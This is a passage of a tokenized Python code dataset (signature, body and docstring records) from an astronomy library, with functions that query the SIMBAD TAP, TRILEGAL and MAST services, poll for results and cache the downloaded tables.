remainingmirrors[<NUM_LIT:0>]<EOL>tapurl = SIMBAD_URLS[randkey]['<STR_LIT:url>']<EOL>resultkeyword = SIMBAD_URLS[randkey]['<STR_LIT>']<EOL>phasekeyword = SIMBAD_URLS[randkey]['<STR_LIT>']<EOL>if '<STR_LIT>' in querystr:<EOL><INDENT>inputparams['<STR_LIT>'] = (<EOL>querystr.format(<EOL>table=SIMBAD_URLS[randkey]['<STR_LIT>']<EOL>)<EOL>)<EOL><DEDENT><DEDENT>except requests.exceptions.Timeout as e:<EOL><INDENT>LOGWARNING(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>)<EOL>mirrorok = False<EOL>remainingmirrors = list(SIMBAD_URLS.keys())<EOL>waittime = random.choice(range(<NUM_LIT:1>,<NUM_LIT:6>))<EOL>time.sleep(waittime)<EOL>randkey = remainingmirrors[<NUM_LIT:0>]<EOL>tapurl = SIMBAD_URLS[randkey]['<STR_LIT:url>']<EOL>resultkeyword = SIMBAD_URLS[randkey]['<STR_LIT>']<EOL>phasekeyword = SIMBAD_URLS[randkey]['<STR_LIT>']<EOL>if '<STR_LIT>' in querystr:<EOL><INDENT>inputparams['<STR_LIT>'] = (<EOL>querystr.format(<EOL>table=SIMBAD_URLS[randkey]['<STR_LIT>']<EOL>)<EOL>)<EOL><DEDENT><DEDENT>ntries = ntries + <NUM_LIT:1><EOL><DEDENT>status_url = req.url<EOL>resxml = parseString(req.text)<EOL>jobstatuselem = resxml.getElementsByTagName(phasekeyword)<EOL>if jobstatuselem:<EOL><INDENT>jobstatuselem = jobstatuselem[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>' % phasekeyword)<EOL>LOGERROR('<STR_LIT:%s>' % req.txt)<EOL>req.close()<EOL>return None<EOL><DEDENT>jobstatus = jobstatuselem.firstChild.toxml()<EOL>if jobstatus == '<STR_LIT>':<EOL><INDENT>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>waitdone = True<EOL><DEDENT><DEDENT>elif jobstatus == '<STR_LIT>':<EOL><INDENT>if verbose:<EOL><INDENT>LOGERROR(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(repr(inputparams),<EOL>status_url,<EOL>req.text)<EOL>)<EOL>return None<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if verbose:<EOL><INDENT>LOGINFO(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % jobstatus<EOL>)<EOL><DEDENT>while not waitdone:<EOL><INDENT>if timeelapsed > maxtimeout:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(maxtimeout,<EOL>repr(inputparams),<EOL>status_url,<EOL>jobstatus))<EOL>if complete_query_later and jobstatus in ('<STR_LIT>',<EOL>'<STR_LIT>'):<EOL><INDENT>incomplete_qpklf = os.path.join(<EOL>cachedir,<EOL>'<STR_LIT>' % cachekey<EOL>)<EOL>with open(incomplete_qpklf, '<STR_LIT:wb>') as outfd:<EOL><INDENT>savedict = inputparams.copy()<EOL>savedict['<STR_LIT>'] = status_url<EOL>savedict['<STR_LIT>'] = jobstatus<EOL>savedict['<STR_LIT>'] = simbad_mirror<EOL>savedict['<STR_LIT>'] = phasekeyword<EOL>savedict['<STR_LIT>'] = resultkeyword<EOL>pickle.dump(savedict,<EOL>outfd,<EOL>pickle.HIGHEST_PROTOCOL)<EOL><DEDENT>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>jobstatus)<EOL><DEDENT>return None<EOL><DEDENT>time.sleep(refresh)<EOL>timeelapsed = timeelapsed + refresh<EOL>try:<EOL><INDENT>resreq = requests.get(status_url, timeout=timeout)<EOL>resreq.raise_for_status()<EOL>resxml = parseString(resreq.text)<EOL>jobstatuselem = (<EOL>resxml.getElementsByTagName(phasekeyword)[<NUM_LIT:0>]<EOL>)<EOL>jobstatus = jobstatuselem.firstChild.toxml()<EOL>if jobstatus == '<STR_LIT>':<EOL><INDENT>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>waitdone = True<EOL><DEDENT>else:<EOL><INDENT>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>% (timeelapsed, jobstatus, status_url))<EOL><DEDENT>continue<EOL><DEDENT><DEDENT>except requests.exceptions.Timeout as e:<EOL><INDENT>LOGEXCEPTION(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(repr(inputparams), status_url)<EOL>)<EOL>return None<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(repr(inputparams),<EOL>status_url,<EOL>resreq.text)<EOL>)<EOL>return None<EOL><DEDENT><DEDENT><DEDENT>result_url_elem = resxml.getElementsByTagName(resultkeyword)[<NUM_LIT:0>]<EOL>result_url = result_url_elem.getAttribute('<STR_LIT>')<EOL>result_nrows = result_url_elem.getAttribute('<STR_LIT>')<EOL>try:<EOL><INDENT>resreq = requests.get(result_url, timeout=timeout)<EOL>resreq.raise_for_status()<EOL>if cachefname.endswith('<STR_LIT>'):<EOL><INDENT>with gzip.open(cachefname,'<STR_LIT:wb>') as outfd:<EOL><INDENT>for chunk in resreq.iter_content(chunk_size=<NUM_LIT>):<EOL><INDENT>outfd.write(chunk)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>with open(cachefname,'<STR_LIT:wb>') as outfd:<EOL><INDENT>for chunk in resreq.iter_content(chunk_size=<NUM_LIT>):<EOL><INDENT>outfd.write(chunk)<EOL><DEDENT><DEDENT><DEDENT>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>' % result_nrows)<EOL><DEDENT>tablefname = cachefname<EOL><DEDENT>except requests.exceptions.Timeout as e:<EOL><INDENT>LOGEXCEPTION(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(repr(inputparams), result_url)<EOL>)<EOL>return None<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(repr(inputparams),<EOL>result_url,<EOL>resreq.status_code)<EOL>)<EOL>return None<EOL><DEDENT><DEDENT>except requests.exceptions.HTTPError as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>'<EOL>'<STR_LIT>' % (resp_status,<EOL>repr(inputparams)))<EOL>return None<EOL><DEDENT>except requests.exceptions.Timeout as e:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT:%s>' % repr(inputparams))<EOL>return None<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>'<EOL>'<STR_LIT:%s>' % repr(inputparams))<EOL>if '<STR_LIT>' in locals():<EOL><INDENT>LOGERROR('<STR_LIT>' % req.text)<EOL><DEDENT>return None<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(repr(inputparams)))<EOL><DEDENT>tablefname = cachefname<EOL>try:<EOL><INDENT>infd = gzip.open(cachefname,'<STR_LIT:rb>')<EOL>simbad_objectnames = np.genfromtxt(<EOL>infd,<EOL>names=True,<EOL>delimiter='<STR_LIT:U+002C>',<EOL>dtype='<STR_LIT>',<EOL>usecols=(<NUM_LIT:0>,<NUM_LIT:1>,<NUM_LIT:2>,<NUM_LIT:3>,<NUM_LIT:4>,<NUM_LIT:5>,<NUM_LIT:6>,<NUM_LIT:7>,<NUM_LIT:8>),<EOL>comments='<STR_LIT:?>',  <EOL>)<EOL>infd.close()<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>'<EOL>'<STR_LIT>' % cachefname)<EOL>return tap_query(querystr,<EOL>simbad_mirror=simbad_mirror,<EOL>returnformat=returnformat,<EOL>forcefetch=True,<EOL>cachedir=cachedir,<EOL>verbose=verbose,<EOL>timeout=timeout,<EOL>refresh=refresh,<EOL>maxtimeout=maxtimeout)<EOL><DEDENT><DEDENT>resdict = {'<STR_LIT>':inputparams,<EOL>'<STR_LIT>':provenance,<EOL>'<STR_LIT:result>':tablefname}<EOL>return resdict<EOL>", "docstring": "This queries the SIMBAD TAP service using the ADQL query string provided.\n\n    Parameters\n    ----------\n\n    querystr : str\n        This is the ADQL query string. See:\n        http://www.ivoa.net/documents/ADQL/2.0 for the specification.\n\n    simbad_mirror : str\n        This is the key used to select a SIMBAD mirror from the\n        `SIMBAD_URLS` dict above. If set, the specified mirror will be used. If\n        None, a random mirror chosen from that dict will be used.\n\n    returnformat : {'csv','votable','json'}\n        The returned file format to request from the GAIA catalog service.\n\n    forcefetch : bool\n        If this is True, the query will be retried even if cached results for\n        it exist.\n\n    cachedir : str\n        This points to the directory where results will be downloaded.\n\n    verbose : bool\n        If True, will indicate progress and warn of any issues.\n\n    timeout : float\n        This sets the amount of time in seconds to wait for the service to\n        respond to our initial request.\n\n    refresh : float\n        This sets the amount of time in seconds to wait before checking if the\n        result file is available. If the results file isn't available after\n        `refresh` seconds have elapsed, the function will wait for `refresh`\n        seconds continuously, until `maxtimeout` is reached or the results file\n        becomes available.\n\n    maxtimeout : float\n        The maximum amount of time in seconds to wait for a result to become\n        available after submitting our query request.\n\n    maxtries : int\n        The maximum number of tries (across all mirrors tried) to make to either\n        submit the request or download the results, before giving up.\n\n    complete_query_later : bool\n        If set to True, a submitted query that does not return a result before\n        `maxtimeout` has passed will be cancelled but its input request\n        parameters and the result URL provided by the service will be saved. If\n        this function is then called later with these same input request\n        parameters, it will check if the query finally finished and a result is\n        available. If so, will download the results instead of submitting a new\n        query. If it's not done yet, will start waiting for results again. To\n        force launch a new query with the same request parameters, set the\n        `forcefetch` kwarg to True.\n\n    jitter : float\n        This is used to control the scale of the random wait in seconds before\n        starting the query. Useful in parallelized situations.\n\n    Returns\n    -------\n\n    dict\n        This returns a dict of the following form::\n\n            {'params':dict of the input params used for the query,\n             'provenance':'cache' or 'new download',\n             'result':path to the file on disk with the downloaded data table}", "id": "f14747:m0"}
{"signature": "def objectnames_conesearch(racenter,<EOL>declcenter,<EOL>searchradiusarcsec,<EOL>simbad_mirror='<STR_LIT>',<EOL>returnformat='<STR_LIT>',<EOL>forcefetch=False,<EOL>cachedir='<STR_LIT>',<EOL>verbose=True,<EOL>timeout=<NUM_LIT>,<EOL>refresh=<NUM_LIT>,<EOL>maxtimeout=<NUM_LIT>,<EOL>maxtries=<NUM_LIT:1>,<EOL>complete_query_later=True):", "body": "<EOL>query = (<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>)<EOL>formatted_query = query.format(ra_center=racenter,<EOL>decl_center=declcenter,<EOL>search_radius=searchradiusarcsec/<NUM_LIT>)<EOL>return tap_query(formatted_query,<EOL>simbad_mirror=simbad_mirror,<EOL>returnformat=returnformat,<EOL>forcefetch=forcefetch,<EOL>cachedir=cachedir,<EOL>verbose=verbose,<EOL>timeout=timeout,<EOL>refresh=refresh,<EOL>maxtimeout=maxtimeout,<EOL>maxtries=maxtries,<EOL>complete_query_later=complete_query_later)<EOL>", "docstring": "This queries the SIMBAD TAP service for a list of object names near the\n    coords. This is effectively a \"reverse\" name resolver (i.e. this does the\n    opposite of SESAME).\n\n    Parameters\n    ----------\n\n    racenter,declcenter : float\n        The cone-search center coordinates in decimal degrees\n\n    searchradiusarcsec : float\n        The radius in arcseconds to search around the center coordinates.\n\n    simbad_mirror : str\n        This is the key used to select a SIMBAD mirror from the\n        `SIMBAD_URLS` dict above. If set, the specified mirror will be used. If\n        None, a random mirror chosen from that dict will be used.\n\n    returnformat : {'csv','votable','json'}\n        The returned file format to request from the GAIA catalog service.\n\n    forcefetch : bool\n        If this is True, the query will be retried even if cached results for\n        it exist.\n\n    cachedir : str\n        This points to the directory where results will be downloaded.\n\n    verbose : bool\n        If True, will indicate progress and warn of any issues.\n\n    timeout : float\n        This sets the amount of time in seconds to wait for the service to\n        respond to our initial request.\n\n    refresh : float\n        This sets the amount of time in seconds to wait before checking if the\n        result file is available. If the results file isn't available after\n        `refresh` seconds have elapsed, the function will wait for `refresh`\n        seconds continuously, until `maxtimeout` is reached or the results file\n        becomes available.\n\n    maxtimeout : float\n        The maximum amount of time in seconds to wait for a result to become\n        available after submitting our query request.\n\n    maxtries : int\n        The maximum number of tries (across all mirrors tried) to make to either\n        submit the request or download the results, before giving up.\n\n    complete_query_later : bool\n        If set to True, a submitted query that does not return a result before\n        `maxtimeout` has passed will be cancelled but its input request\n        parameters and the result URL provided by the service will be saved. If\n        this function is then called later with these same input request\n        parameters, it will check if the query finally finished and a result is\n        available. If so, will download the results instead of submitting a new\n        query. If it's not done yet, will start waiting for results again. To\n        force launch a new query with the same request parameters, set the\n        `forcefetch` kwarg to True.\n\n    Returns\n    -------\n\n    dict\n        This returns a dict of the following form::\n\n            {'params':dict of the input params used for the query,\n             'provenance':'cache' or 'new download',\n             'result':path to the file on disk with the downloaded data table}", "id": "f14747:m1"}
{"signature": "def list_trilegal_filtersystems():", "body": "print('<STR_LIT>' % ('<STR_LIT>','<STR_LIT>'))<EOL>print('<STR_LIT>' % ('<STR_LIT>','<STR_LIT>'))<EOL>for key in sorted(TRILEGAL_FILTER_SYSTEMS.keys()):<EOL><INDENT>print('<STR_LIT>' % (key, TRILEGAL_FILTER_SYSTEMS[key]['<STR_LIT>']))<EOL><DEDENT>", "docstring": "This just lists all the filter systems available for TRILEGAL.", "id": "f14749:m0"}
{"signature": "def query_galcoords(gal_lon,<EOL>gal_lat,<EOL>filtersystem='<STR_LIT>',<EOL>field_deg2=<NUM_LIT:1.0>,<EOL>usebinaries=True,<EOL>extinction_sigma=<NUM_LIT:0.1>,<EOL>magnitude_limit=<NUM_LIT>,<EOL>maglim_filtercol=<NUM_LIT:4>,<EOL>trilegal_version=<NUM_LIT>,<EOL>extraparams=None,<EOL>forcefetch=False,<EOL>cachedir='<STR_LIT>',<EOL>verbose=True,<EOL>timeout=<NUM_LIT>,<EOL>refresh=<NUM_LIT>,<EOL>maxtimeout=<NUM_LIT>):", "body": "<EOL>inputparams = copy.deepcopy(TRILEGAL_INPUT_PARAMS)<EOL>inputparams['<STR_LIT>'] = '<STR_LIT:1>' if usebinaries else '<STR_LIT:0>'<EOL>inputparams['<STR_LIT>'] = '<STR_LIT>' % extinction_sigma<EOL>inputparams['<STR_LIT>'] = '<STR_LIT>' % field_deg2<EOL>inputparams['<STR_LIT>'] = str(maglim_filtercol)<EOL>inputparams['<STR_LIT>'] = '<STR_LIT>' % magnitude_limit<EOL>inputparams['<STR_LIT>'] = str(trilegal_version)<EOL>inputparams['<STR_LIT>'] = '<STR_LIT>' % gal_lon<EOL>inputparams['<STR_LIT>'] = '<STR_LIT>' % gal_lat<EOL>if field_deg2 > <NUM_LIT>:<EOL><INDENT>LOGERROR(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>extinction_info = dust.extinction_query(gal_lon,<EOL>gal_lat,<EOL>coordtype='<STR_LIT>',<EOL>forcefetch=forcefetch,<EOL>verbose=verbose,<EOL>timeout=timeout)<EOL>try:<EOL><INDENT>Av_infinity = extinction_info['<STR_LIT>']['<STR_LIT>']['<STR_LIT>']<EOL>inputparams['<STR_LIT>'] = '<STR_LIT>' % Av_infinity<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % (gal_lon, gal_lat,<EOL>inputparams['<STR_LIT>'])<EOL>)<EOL><DEDENT>if filtersystem in TRILEGAL_FILTER_SYSTEMS:<EOL><INDENT>inputparams['<STR_LIT>'] = (<EOL>TRILEGAL_FILTER_SYSTEMS[filtersystem]['<STR_LIT>']<EOL>)<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % filtersystem)<EOL>return None<EOL><DEDENT>trilegal_params = copy.deepcopy(TRILEGAL_DEFAULT_PARAMS)<EOL>trilegal_params.update(inputparams)<EOL>if extraparams and isinstance(extraparams, dict):<EOL><INDENT>trilegal_params.update(extraparams)<EOL><DEDENT>if '<STR_LIT>' in cachedir:<EOL><INDENT>cachedir = os.path.expanduser(cachedir)<EOL><DEDENT>if not os.path.exists(cachedir):<EOL><INDENT>os.makedirs(cachedir)<EOL><DEDENT>cachekey = repr(inputparams)<EOL>cachekey = hashlib.sha256(cachekey.encode()).hexdigest()<EOL>cachefname = os.path.join(cachedir, '<STR_LIT>' % cachekey)<EOL>provenance = '<STR_LIT>'<EOL>lockfile = os.path.join(cachedir, '<STR_LIT>' % cachekey)<EOL>if forcefetch or (not os.path.exists(cachefname)):<EOL><INDENT>if os.path.exists(lockfile):<EOL><INDENT>with open(lockfile,'<STR_LIT:r>') as infd:<EOL><INDENT>lock_contents = infd.read()<EOL><DEDENT>lock_contents = lock_contents.replace('<STR_LIT:\\n>','<STR_LIT>')<EOL>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>lock_contents)<EOL>return None<EOL><DEDENT>else:<EOL><INDENT>with open(lockfile,'<STR_LIT:w>') as outfd:<EOL><INDENT>outfd.write(datetime.utcnow().isoformat())<EOL><DEDENT><DEDENT>provenance = '<STR_LIT>'<EOL>try:<EOL><INDENT>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>% repr(inputparams))<EOL><DEDENT>posturl = TRILEGAL_POSTURL.format(formversion=trilegal_version)<EOL>req = requests.post(posturl,<EOL>data=trilegal_params,<EOL>timeout=timeout)<EOL>resp = req.text<EOL>resultfile = TRILEGAL_REGEX.search(resp)<EOL>if resultfile:<EOL><INDENT>resultfile = resultfile[<NUM_LIT:0>]<EOL>waitdone = False<EOL>timeelapsed = <NUM_LIT:0.0><EOL>resultfileurl = '<STR_LIT>' % (<EOL>TRILEGAL_BASEURL,<EOL>resultfile.replace('<STR_LIT>','<STR_LIT>')<EOL>)<EOL>if verbose:<EOL><INDENT>LOGINFO(<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>while not waitdone:<EOL><INDENT>if timeelapsed > maxtimeout:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT:%s>' % repr(inputparams))<EOL>if os.path.exists(lockfile):<EOL><INDENT>os.remove(lockfile)<EOL><DEDENT>return None<EOL><DEDENT>time.sleep(refresh)<EOL>timeelapsed = timeelapsed + refresh<EOL>try:<EOL><INDENT>resreq = requests.get(resultfileurl)<EOL>resreq.raise_for_status()<EOL>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>')<EOL><DEDENT>with gzip.open(cachefname,'<STR_LIT:wb>') as outfd:<EOL><INDENT>for chunk in resreq.iter_content(chunk_size=<NUM_LIT>):<EOL><INDENT>outfd.write(chunk)<EOL><DEDENT><DEDENT>tablefname = cachefname<EOL>waitdone = True<EOL>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>')<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>% (timeelapsed, resultfileurl))<EOL><DEDENT>continue<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>LOGINFO(resp)<EOL>if os.path.exists(lockfile):<EOL><INDENT>os.remove(lockfile)<EOL><DEDENT>return None<EOL><DEDENT><DEDENT>except requests.exceptions.Timeout as e:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT:%s>' % repr(inputparams))<EOL>return None<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>'<EOL>'<STR_LIT:%s>' % repr(inputparams))<EOL>return None<EOL><DEDENT>finally:<EOL><INDENT>if os.path.exists(lockfile):<EOL><INDENT>os.remove(lockfile)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(repr(inputparams)))<EOL><DEDENT>tablefname = cachefname<EOL><DEDENT>resdict = {'<STR_LIT>':inputparams,<EOL>'<STR_LIT>':extraparams,<EOL>'<STR_LIT>':provenance,<EOL>'<STR_LIT>':tablefname}<EOL>return resdict<EOL>", "docstring": "This queries the TRILEGAL model form, downloads results, and parses them.\n\n    Parameters\n    ----------\n\n    gal_lon,gal_lat : float\n        These are the center galactic longitude and latitude in degrees.\n\n    filtersystem : str\n        This is a key in the TRILEGAL_FILTER_SYSTEMS dict. Use the function\n        :py:func:`astrobase.services.trilegal.list_trilegal_filtersystems` to\n        see a nicely formatted table with the key and description for each of\n        these.\n\n    field_deg2 : float\n        The area of the simulated field in square degrees.\n\n    usebinaries : bool\n        If this is True, binaries will be present in the model results.\n\n    extinction_sigma : float\n        This is the applied std dev around the `Av_extinction` value for the\n        galactic coordinates requested.\n\n    magnitude_limit : float\n        This is the limiting magnitude of the simulation in the\n        `maglim_filtercol` band index of the filter system chosen.\n\n    maglim_filtercol : int\n        The index in the filter system list of the magnitude limiting band.\n\n    trilegal_version : float\n        This is the the version of the TRILEGAL form to use. This can usually be\n        left as-is.\n\n    extraparams : dict or None\n        This is a dict that can be used to override parameters of the model\n        other than the basic ones used for input to this function. All\n        parameters are listed in `TRILEGAL_DEFAULT_PARAMS` above. See:\n\n        http://stev.oapd.inaf.it/cgi-bin/trilegal\n\n        for explanations of these parameters.\n\n    forcefetch : bool\n        If this is True, the query will be retried even if cached results for\n        it exist.\n\n    cachedir : str\n        This points to the directory where results will be downloaded.\n\n    verbose : bool\n        If True, will indicate progress and warn of any issues.\n\n    timeout : float\n        This sets the amount of time in seconds to wait for the service to\n        respond to our initial request.\n\n    refresh : float\n        This sets the amount of time in seconds to wait before checking if the\n        result file is available. If the results file isn't available after\n        `refresh` seconds have elapsed, the function will wait for `refresh`\n        seconds continuously, until `maxtimeout` is reached or the results file\n        becomes available.\n\n    maxtimeout : float\n        The maximum amount of time in seconds to wait for a result to become\n        available after submitting our query request.\n\n    Returns\n    -------\n\n    dict\n        This returns a dict of the form::\n\n            {'params':the input param dict used,\n             'extraparams':any extra params used,\n             'provenance':'cached' or 'new download',\n             'tablefile':the path on disk to the downloaded model text file}", "id": "f14749:m1"}
{"signature": "def query_radecl(ra,<EOL>decl,<EOL>filtersystem='<STR_LIT>',<EOL>field_deg2=<NUM_LIT:1.0>,<EOL>usebinaries=True,<EOL>extinction_sigma=<NUM_LIT:0.1>,<EOL>magnitude_limit=<NUM_LIT>,<EOL>maglim_filtercol=<NUM_LIT:4>,<EOL>trilegal_version=<NUM_LIT>,<EOL>extraparams=None,<EOL>forcefetch=False,<EOL>cachedir='<STR_LIT>',<EOL>verbose=True,<EOL>timeout=<NUM_LIT>,<EOL>refresh=<NUM_LIT>,<EOL>maxtimeout=<NUM_LIT>):", "body": "<EOL>radecl = SkyCoord(ra=ra*u.degree, dec=decl*u.degree)<EOL>gl = radecl.galactic.l.degree<EOL>gb = radecl.galactic.b.degree<EOL>return query_galcoords(gl,<EOL>gb,<EOL>filtersystem=filtersystem,<EOL>field_deg2=field_deg2,<EOL>usebinaries=usebinaries,<EOL>extinction_sigma=extinction_sigma,<EOL>magnitude_limit=magnitude_limit,<EOL>maglim_filtercol=maglim_filtercol,<EOL>trilegal_version=trilegal_version,<EOL>extraparams=extraparams,<EOL>forcefetch=forcefetch,<EOL>cachedir=cachedir,<EOL>verbose=verbose,<EOL>timeout=timeout,<EOL>refresh=refresh,<EOL>maxtimeout=maxtimeout)<EOL>", "docstring": "This runs the TRILEGAL query for decimal equatorial coordinates.\n\n    Parameters\n    ----------\n\n    ra,decl : float\n        These are the center equatorial coordinates in decimal degrees\n\n    filtersystem : str\n        This is a key in the TRILEGAL_FILTER_SYSTEMS dict. Use the function\n        :py:func:`astrobase.services.trilegal.list_trilegal_filtersystems` to\n        see a nicely formatted table with the key and description for each of\n        these.\n\n    field_deg2 : float\n        The area of the simulated field in square degrees. This is in the\n        Galactic coordinate system.\n\n    usebinaries : bool\n        If this is True, binaries will be present in the model results.\n\n    extinction_sigma : float\n        This is the applied std dev around the `Av_extinction` value for the\n        galactic coordinates requested.\n\n    magnitude_limit : float\n        This is the limiting magnitude of the simulation in the\n        `maglim_filtercol` band index of the filter system chosen.\n\n    maglim_filtercol : int\n        The index in the filter system list of the magnitude limiting band.\n\n    trilegal_version : float\n        This is the the version of the TRILEGAL form to use. This can usually be\n        left as-is.\n\n    extraparams : dict or None\n        This is a dict that can be used to override parameters of the model\n        other than the basic ones used for input to this function. All\n        parameters are listed in `TRILEGAL_DEFAULT_PARAMS` above. See:\n\n        http://stev.oapd.inaf.it/cgi-bin/trilegal\n\n        for explanations of these parameters.\n\n    forcefetch : bool\n        If this is True, the query will be retried even if cached results for\n        it exist.\n\n    cachedir : str\n        This points to the directory where results will be downloaded.\n\n    verbose : bool\n        If True, will indicate progress and warn of any issues.\n\n    timeout : float\n        This sets the amount of time in seconds to wait for the service to\n        respond to our initial request.\n\n    refresh : float\n        This sets the amount of time in seconds to wait before checking if the\n        result file is available. If the results file isn't available after\n        `refresh` seconds have elapsed, the function will wait for `refresh`\n        seconds continuously, until `maxtimeout` is reached or the results file\n        becomes available.\n\n    maxtimeout : float\n        The maximum amount of time in seconds to wait for a result to become\n        available after submitting our query request.\n\n    Returns\n    -------\n\n    dict\n        This returns a dict of the form::\n\n            {'params':the input param dict used,\n             'extraparams':any extra params used,\n             'provenance':'cached' or 'new download',\n             'tablefile':the path on disk to the downloaded model text file}", "id": "f14749:m2"}
{"signature": "def read_model_table(modelfile):", "body": "infd = gzip.open(modelfile)<EOL>model = np.genfromtxt(infd,names=True)<EOL>infd.close()<EOL>return model<EOL>", "docstring": "This reads a downloaded TRILEGAL model file.\n\nParameters\n----------\n\nmodelfile : str\n    Path to the downloaded model file to read.\n\nReturns\n-------\n\nnp.recarray\n    Returns the model table as a Numpy record array.", "id": "f14749:m3"}
{"signature": "def mast_query(service,<EOL>params,<EOL>data=None,<EOL>apiversion='<STR_LIT>',<EOL>forcefetch=False,<EOL>cachedir='<STR_LIT>',<EOL>verbose=True,<EOL>timeout=<NUM_LIT>,<EOL>refresh=<NUM_LIT>,<EOL>maxtimeout=<NUM_LIT>,<EOL>maxtries=<NUM_LIT:3>,<EOL>raiseonfail=False,<EOL>jitter=<NUM_LIT>):", "body": "<EOL>inputparams = {<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':params,<EOL>'<STR_LIT>':service,<EOL>'<STR_LIT>':timeout,<EOL>}<EOL>if data is not None:<EOL><INDENT>inputparams['<STR_LIT:data>'] = data<EOL><DEDENT>if '<STR_LIT>' in cachedir:<EOL><INDENT>cachedir = os.path.expanduser(cachedir)<EOL><DEDENT>if not os.path.exists(cachedir):<EOL><INDENT>os.makedirs(cachedir)<EOL><DEDENT>xcachekey = '<STR_LIT:->'.join([repr(inputparams[x])<EOL>for x in sorted(inputparams.keys())])<EOL>cachekey = hashlib.sha256(xcachekey.encode()).hexdigest()<EOL>cachefname = os.path.join(<EOL>cachedir,<EOL>'<STR_LIT>' % (cachekey,)<EOL>)<EOL>provenance = '<STR_LIT>'<EOL>if forcefetch or (not os.path.exists(cachefname)):<EOL><INDENT>time.sleep(random.randint(<NUM_LIT:1>,jitter))<EOL>provenance = '<STR_LIT>'<EOL>waitdone = False<EOL>timeelapsed = <NUM_LIT:0.0><EOL>ntries = <NUM_LIT:1><EOL>url = MAST_URLS[apiversion]['<STR_LIT:url>']<EOL>formdata = {'<STR_LIT>':json.dumps(inputparams)}<EOL>while (not waitdone) or (ntries < maxtries):<EOL><INDENT>if timeelapsed > maxtimeout:<EOL><INDENT>retdict = None<EOL>break<EOL><DEDENT>try:<EOL><INDENT>resp = requests.post(url,<EOL>data=formdata,<EOL>timeout=timeout+<NUM_LIT:1.0>)<EOL>resp.raise_for_status()<EOL>respjson = resp.json()<EOL>if respjson['<STR_LIT:status>'] == '<STR_LIT>':<EOL><INDENT>data = respjson['<STR_LIT:data>']<EOL>nrows = len(data)<EOL>if nrows > <NUM_LIT:0>:<EOL><INDENT>with open(cachefname, '<STR_LIT:w>') as outfd:<EOL><INDENT>json.dump(respjson, outfd)<EOL><DEDENT>retdict = {<EOL>'<STR_LIT>':inputparams,<EOL>'<STR_LIT>':provenance,<EOL>'<STR_LIT>':cachefname<EOL>}<EOL>waitdone = True<EOL>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>' % 